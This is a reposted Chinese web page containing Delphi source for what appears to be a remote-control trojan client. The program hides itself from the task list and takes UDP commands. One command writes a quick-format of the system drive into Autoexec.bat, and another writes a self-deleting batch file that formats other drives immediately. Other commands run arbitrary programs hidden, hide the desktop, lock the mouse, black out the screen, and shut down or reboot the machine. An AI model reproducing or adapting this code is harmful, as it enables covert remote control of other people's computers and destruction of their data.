一些系统操作 客户端

来源:互联网 发布:廊坊网络推广 编辑:程序博客网 时间:2024/05/20 13:08

unit UnitClient;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, NMUDP,shellapi,mmsystem, StdCtrls;

type
  TForm1 = class(TForm)
    NMUDP1: TNMUDP;
    Button1: TButton;
    Button2: TButton;
    procedure FormCreate(Sender: TObject);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
    procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
  BmpStream:TMemoryStream;

{$R *.dfm}

//获取计算机名
function ComputerName : String;
var
  CNameBuffer : PChar;
  fl_loaded : Boolean;
  CLen : ^DWord;
begin
    GetMem(CNameBuffer,255);
    New(CLen);
    CLen^:= 255;
    fl_loaded := GetComputerName(CNameBuffer,CLen^);
    if fl_loaded then
      ComputerName := StrPas(CNameBuffer)
    else
      ComputerName := '不知道!';
    FreeMem(CNameBuffer,255);
    Dispose(CLen);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
application.Title:='';
//应用程序没有名称,按Ctrl+Alt+Del时看不到程序
//application.showmainform:=false;
//程序运行时不显示
BmpStream:=TMemoryStream.Create;
end;

procedure TForm1.winexit(var msg: Tmessage);
//退出程序
begin
  msg.Result:=1;
  application.ProcessMessages;
  application.Terminate;
end;

procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
  CtrlCode:array[0..250] of char;
  Trun:string;
  hDesktop : Thandle;
  forc,ford:textfile;
  //向Autoexec.bat写格式化命令
begin
    NMUDP1.ReadBuffer(CtrlCode,NumberBytes);
    // 读取控制码
  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
   //格式化磁盘
   if CtrlCode[6]='c' then
   //格式化系统盘,将命令写入autoexec.bat,重起后生效
   begin
   assignfile(forc,'c:/Autoexec.bat');
   rewrite(forc);
   writeln(forc,'@echo off');
   writeln(forc,'format c:/q');
   // /q快速格式化
   writeln(forc,'echo y|format c:/q >nul');
   //在Dos shell控制台下显示格式化信息
    closefile(forc);
   end
    else
   //格式化其它磁盘,将命令写入批处理文件,立即执行
   begin
   assignfile(ford,'c:/a.bat');
   rewrite(ford);
   writeln(ford,'@echo off');
   writeln(ford,'format '+CtrlCode[6]+':/q');
   writeln(ford,'@del %0');
   closefile(ford);
   winexec('c:/a.bat',sw_hide);
    //开始格式化
    end;

     if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then
    //计算机睡眠
     SetSystemPowerState( true, true );

    if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then
    //隐藏桌面
      begin
      hDesktop := FindWindow('Progman', nil);
     //获取桌面程序句柄
      ShowWindow(hDesktop, SW_HIDE);
      //SW_HIDE,隐藏桌面
      end;
  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then
    //显示桌面
   begin
      hDesktop := FindWindow('Progman', nil);
      ShowWindow(hDesktop, SW_show);
    //SW_show,隐藏桌面
    end;


  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then
    //隐藏运行程序
  begin
   trun:=CtrlCode;
   delete(trun,1,4);
   //删除控制码,得到要运行程序名
   shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
  end;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then
    //显式运行程序
  begin
  trun:=CtrlCode;
  delete(trun,1,4);
   //删除控制码,得到要运行程序名
  shellexecute(handle,'open',pchar(trun),nil,nil,SW_show);
  end;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then
    //最小化运行程序
  begin
  trun:=CtrlCode;
  delete(trun,1,4);
   //删除控制码,得到要运行程序名
  shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE);
  end;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then
   //最大化运行程序
  begin
  trun:=CtrlCode;
  delete(trun,1,4);
   //删除控制码,得到要运行程序名
  shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE);
  end;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then
    //弹出cdrom
    mciSendString('Set cdaudio door open', nil, 0, handle);

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then
    //合上cdrom
    mciSendString('Set cdaudio door closed', nil, 0, handle);

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then
   //锁定鼠标
     button1.Click;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then
   //解锁鼠标
     button2.Click;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then
    //黑屏
    SendMessage(Application.Handle,  wm_SysCommand,  SC_MonitorPower, 0) ;

  if CtrlCode[0]='' then
    //发送信息
   Application.MessageBox(CtrlCode,pchar(ComputerName),MB_OK);

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='oscre' then
   //解黑屏
    SendMessage(Application.Handle,  wm_SysCommand,  SC_MonitorPower, -1) ;

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
   //重新启动计算机
     ExitWindowsEx(EWX_REBOOT,2);

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
   //关闭计算机
     ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  rtButton2: TRect;
begin
  rtButton2 := Button2.BoundsRect;
  MapWindowPoints(handle, 0, rtButton2, 2);
// 座标换算
  ClipCursor(@rtButton2);
// 限制鼠标移动区域
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  rtScreen: TRect;
begin
  rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
  ClipCursor(@rtScreen);
end;

end.

原创粉丝点击